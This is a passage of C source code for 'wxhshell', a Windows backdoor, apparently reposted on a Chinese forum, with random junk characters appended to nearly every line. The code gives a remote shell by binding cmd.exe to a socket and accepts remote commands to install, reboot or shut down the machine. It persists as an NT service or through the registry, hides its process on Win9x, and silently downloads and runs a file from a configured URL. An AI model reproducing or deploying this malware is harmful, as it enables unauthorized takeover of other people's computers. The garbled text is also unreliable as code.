  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .H^P2tp  
  } *w/WHQ`xI  
  else { 8*yo7q&  
WE[m@K[CR  
    switch(cmd[0]) { UQ3@@:L_  
  kwHqvO!G  
  // 帮助 VkpHzr[k  
  case '?': { b(RB G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0[lsoYUq  
    break; Px?Ao0)Z,  
  } 'qV3O+@MF  
  // 安装 HmExfW  
  case 'i': { A/"}Y1#qX\  
    if(Install()) -~][0PVL9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQC3!=pQ}Y  
    else j`R<90~/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.>  
    break; i<m$#6 <Z  
    } +~d1 ;0l|  
  // 卸载 |qlS6Aln  
  case 'r': { 8lOI\-  
    if(Uninstall()) /zG +]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l RDxIuTK  
    else YZGS-+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B:-U`CHHQ  
    break; ] *-;' *  
    } mP pvZ  
  // 显示 wxhshell 所在路径 @H\pipT_b  
  case 'p': { H#L#2M%  
    char svExeFile[MAX_PATH]; Iy S"  
    strcpy(svExeFile,"\n\r"); -|}%~0)/bH  
      strcat(svExeFile,ExeFile); 0/\PZX+  
        send(wsh,svExeFile,strlen(svExeFile),0); 't( }Rq@  
    break; 'Y!pY]Z  
    } A XBkJ'jd  
  // 重启 v**z$5x9  
  case 'b': { d(fPECv(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [q-;/ed  
    if(Boot(REBOOT)) dTN$y\   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *bA+]&dj\  
    else { @P:R~m2  
    closesocket(wsh); 4.|-m.a  
    ExitThread(0); S Pn8\2Cj  
    } =4tO0  
    break; c^=R8y-N  
    } EZ"bW  
  // 关机 +z-[s6q2m  
  case 'd': { MZ|\S/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yb[n{.%/g  
    if(Boot(SHUTDOWN)) d/{Q t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hH%,!tSx  
    else { -J,Q;tj  
    closesocket(wsh); B0oxCc/'sZ  
    ExitThread(0); $PSY:Zz  
    } Q.,DZp   
    break; ( 0i'Nb"  
    } n%/i:Whs  
  // 获取shell ImIqD&a-h  
  case 's': { 1^C|k(t  
    CmdShell(wsh); _>Pk8~m  
    closesocket(wsh); iJdP>x  
    ExitThread(0); H9RGU~q4s[  
    break; jfUJ37zNZr  
  } b5j*xZv  
  // 退出 XGfzEld2"  
  case 'x': { D_d|=i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q|Pbt(44  
    CloseIt(wsh); n]+.  
    break; ; XG]Q<S\  
    } ]cIu|bRO  
  // 离开 H]s4% 9T  
  case 'q': { W h| L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7*i }km  
    closesocket(wsh); S%kS#U${|  
    WSACleanup(); McjS)4j&.  
    exit(1); ,"Tjpdf  
    break; y%4 Gp  
        } q IM  
  } Dl%?OG<  
  } ~m=$VDWm  
Z>8eD|m%2  
  // 提示信息 "B#Y-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A 4j<\xL  
} 3gpo %  
  } 6xHi\L  
:zlpfm2  
  return; Ah-8"`E  
} xf/m!b"p  
mDfwn7f  
// shell模块句柄 #vQ?  
int CmdShell(SOCKET sock) P@gt di(Q  
{ Ep mJWbU  
STARTUPINFO si; cC%j!8!  
ZeroMemory(&si,sizeof(si)); R4b-M0H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %M9;I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zPVd(V~(T  
PROCESS_INFORMATION ProcessInfo; >AG^fUArH  
char cmdline[]="cmd"; " 9@,l!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cZ|lCy^  
  return 0; (S F1y/g@=  
} Z:@6Lv?CN  
_gW{gLYyJ  
// 自身启动模式 )lh8 k {  
int StartFromService(void) IaLMWoh  
{ V&i2L.{G)  
typedef struct .+yW%~0  
{ j0FW8!!-g  
  DWORD ExitStatus; 3B{[%#vO  
  DWORD PebBaseAddress; ?,07;>&  
  DWORD AffinityMask; ]#zZWg zv  
  DWORD BasePriority; e.l!3xY2'  
  ULONG UniqueProcessId; L/?]^!.  
  ULONG InheritedFromUniqueProcessId; 3OP.12^  
}   PROCESS_BASIC_INFORMATION; p0M=t-  
+K^h!d]  
PROCNTQSIP NtQueryInformationProcess; ,r=re!QI7  
tz4 ]hF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; , T\-;7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &>(gt<C$  
5 y   
  HANDLE             hProcess; 6Y1J2n"  
  PROCESS_BASIC_INFORMATION pbi; :CaTP%GW  
ZenPw1-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S`iR9{+&  
  if(NULL == hInst ) return 0; !>n|c$=;qk  
#Fs|f3-@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); & [_ZXVva~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s+,&|;Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m'x;,xfY&F  
b,@aqu  
  if (!NtQueryInformationProcess) return 0; C>X|VP |C  
]^ K;goQv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *HE^1IEl  
  if(!hProcess) return 0; J8<J8x4  
_D,eyP9P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PKf:O  
exDkq0u]  
  CloseHandle(hProcess); qu~X.pW  
zizk7<?L .  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l Y'N4x7n  
if(hProcess==NULL) return 0; rk|@B{CA;  
Zx{96G+1  
HMODULE hMod; bik*ZC?E  
char procName[255]; >(3\k iYS  
unsigned long cbNeeded; cp6WMHLj   
>72JV; W]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 30Drrno7Io  
dE5D3ze  
  CloseHandle(hProcess); >xg5z  
uzBz}<M=  
if(strstr(procName,"services")) return 1; // 以服务启动 ?j{C*|yHO  
OBOwz4<  
  return 0; // 注册表启动 s_ bR]G  
} dqc1 q:k?$  
w? LrJ37u  
// 主模块 *:hy Y!x  
int StartWxhshell(LPSTR lpCmdLine) mfom=-q3k  
{ Dl C@fZD  
  SOCKET wsl; ".U^if F  
BOOL val=TRUE; riCV&0"n  
  int port=0; WE6\dhJ<  
  struct sockaddr_in door; }Ln@R~[  
~/-eyxLTm  
  if(wscfg.ws_autoins) Install(); -rSIBc:$8  
{f DTSr?/  
port=atoi(lpCmdLine); vF4]ux&  
j9R6ta3\l  
if(port<=0) port=wscfg.ws_port; cpZc9;@IC  
+dW|^I{H}  
  WSADATA data; PmX2[7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `bG7"o`  
+K~NV?c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bh]!WMAw.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); izZ=d5+K  
  door.sin_family = AF_INET; @f1*eo5f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K#mOSY;}  
  door.sin_port = htons(port); pz|'l:v^  
T:iP="?{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gTf|^?vd  
closesocket(wsl); NHQF^2\\  
return 1; ^%>kO,  
} SO f{Hx0C6  
!>$4]FkV  
  if(listen(wsl,2) == INVALID_SOCKET) { qu|i;WZE  
closesocket(wsl); C$yq\C+I  
return 1; kv{}C)kt3  
} &1|?BZv  
  Wxhshell(wsl); 3=0E!e  
  WSACleanup(); {zLhiUH a0  
2 QTZwx  
return 0; aA'TD:&p1  
;#/@+4@a&  
} C.Uju`3  
p0:kz l4$  
// 以NT服务方式启动 ]T:;Vo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |N/G'>TS  
{ 23\RJpKb  
DWORD   status = 0; &a0r%L()X  
  DWORD   specificError = 0xfffffff; 6xK[34~ 6  
uQ1@b-e`5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J3RB]O_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XOP"Px@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c}Z6V1]QP  
  serviceStatus.dwWin32ExitCode     = 0; yay<GP?  
  serviceStatus.dwServiceSpecificExitCode = 0; "SxLN 8.:  
  serviceStatus.dwCheckPoint       = 0; }yn0IWVa  
  serviceStatus.dwWaitHint       = 0; ?%tMohL  
Dim> 7Wbh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); thlY0XCq,%  
  if (hServiceStatusHandle==0) return; rqPo)AL  
y9H% Xl  
status = GetLastError(); WsU)Y&  
  if (status!=NO_ERROR) ;*TIM%6#  
{ *|.0Myjo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &)wiKh"$  
    serviceStatus.dwCheckPoint       = 0; &F *' B|n  
    serviceStatus.dwWaitHint       = 0; (& "su3z  
    serviceStatus.dwWin32ExitCode     = status; yF}OfK?0f  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7cP@jj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tc ;'oMUP  
    return; !LMN[3M_  
  } +d}E&=p_  
\*hrW(   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \uqjs+  
  serviceStatus.dwCheckPoint       = 0; 5@IB39  
  serviceStatus.dwWaitHint       = 0; b \KL;H/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qU2~fNY  
} }0#U;_;D  
e1(Q(3  
// 处理NT服务事件,比如:启动、停止 z<sg0K8z63  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G'2#9<c*  
{ GcIDG`RX  
switch(fdwControl) l:0s2  
{ k(>h^  
case SERVICE_CONTROL_STOP: ,[S+T.Cu  
  serviceStatus.dwWin32ExitCode = 0; ptatzp]c#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E1dD7r\  
  serviceStatus.dwCheckPoint   = 0; S:4crI  
  serviceStatus.dwWaitHint     = 0; Ee)[\Qjn  
  { Q$& sTM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Dzuii?1  
  } ;{ i'#rn{  
  return; X'.qYsS  
case SERVICE_CONTROL_PAUSE: KoE8 Mp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <DKS+R  
  break; ]-oJ[5cQ0v  
case SERVICE_CONTROL_CONTINUE: IEKU-k7}Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0q>P~] Ow  
  break; 8h3=b[  
case SERVICE_CONTROL_INTERROGATE: 3G.5724,  
  break; NaVQ9ku7VW  
}; pi=-#g(2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Q+gZcu  
} Q9I j\HbA"  
RZM"~ 0  
// 标准应用程序主函数 .Ha'p.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1(|D'y#  
{ 4h@Z/G!T3  
]\/tVn.'  
// 获取操作系统版本 A7(hw~+@  
OsIsNt=GetOsVer(); \V9Z #>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u@ jX+\  
-':Y\:W  
  // 从命令行安装 uwRr LF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0sI1GhVR  
iX0iRC6f  
  // 下载执行文件 h;=6VgXZ  
if(wscfg.ws_downexe) { W@y J AQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) | 8qBm  
  WinExec(wscfg.ws_filenam,SW_HIDE); y5Tlpi`g  
} r]OK$Ql  
z4 &iK)x  
if(!OsIsNt) { _qb Ih  
// 如果时win9x,隐藏进程并且设置为注册表启动 -n'F v@U  
HideProc(); `ptj?6N-  
StartWxhshell(lpCmdLine); hp{OL<2M  
} kdb(I@6  
else 5{n*"88  
  if(StartFromService()) =6aS&B(SN  
  // 以服务方式启动 h"H2z1$  
  StartServiceCtrlDispatcher(DispatchTable); W8lx~:v  
else %0? M?Jf  
  // 普通方式启动 ^$&k5e/}C  
  StartWxhshell(lpCmdLine); _fZZ_0\Q  
iCHt1VV]  
return 0; + >cBVx6  
}
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只看该作者 1 发表于: 2006-10-10
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